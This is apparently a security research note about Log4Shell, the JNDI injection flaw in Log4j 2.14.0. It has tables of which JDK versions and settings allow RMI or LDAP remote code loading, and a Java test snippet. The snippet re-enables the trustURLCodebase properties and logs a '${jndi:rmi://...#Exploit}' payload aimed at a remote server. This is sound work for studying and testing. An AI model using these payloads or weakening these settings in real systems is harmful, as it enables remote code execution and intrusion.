JDK | log4j-core/log4j-api | setProperty | RCE |
---|---|---|---|
8u181(<8u191) | 2.14.0 | ⭕(RMI/LDAP) | ⭕(RMI/LDAP) |
8u181(<8u191) | 2.14.0 | ❌(RMI/LDAP) | ⭕(LDAP) |
8u181(<8u191) | 2.14.0 | ❌(RMI/LDAP) | ❌(RMI) |
8u332(>8u191) | 2.14.0 | ⭕(RMI/LDAP) | ⭕(RMI) |
8u332(>8u191) | 2.14.0 | ⭕(RMI/LDAP) | ❌(LDAP) |
8u332(>8u191) | 2.14.0 | ❌(RMI/LDAP) | ❌(RMI/LDAP) |
JDK 6u45、7u21
之后:java.rmi.server.useCodebaseOnly
的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader
的安全性。JDK 6u141、7u131、8u121
之后:增加了com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。JDK 6u211、7u201、8u191
之后:增加了com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
such as:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:rmi://192.168.3.50:4001/#Exploit}");
}
}
PROTOCOL | RMI | LDAP |
---|---|---|
- | ${jndi:rmi://..} |
${jndi:ldap://..} |
⭕(RMI) | ⭕ | ❌ |
⭕(LDAP) | ❌ | ⭕ |
⭕(RMI/LDAP) | ⭕ | ⭕ |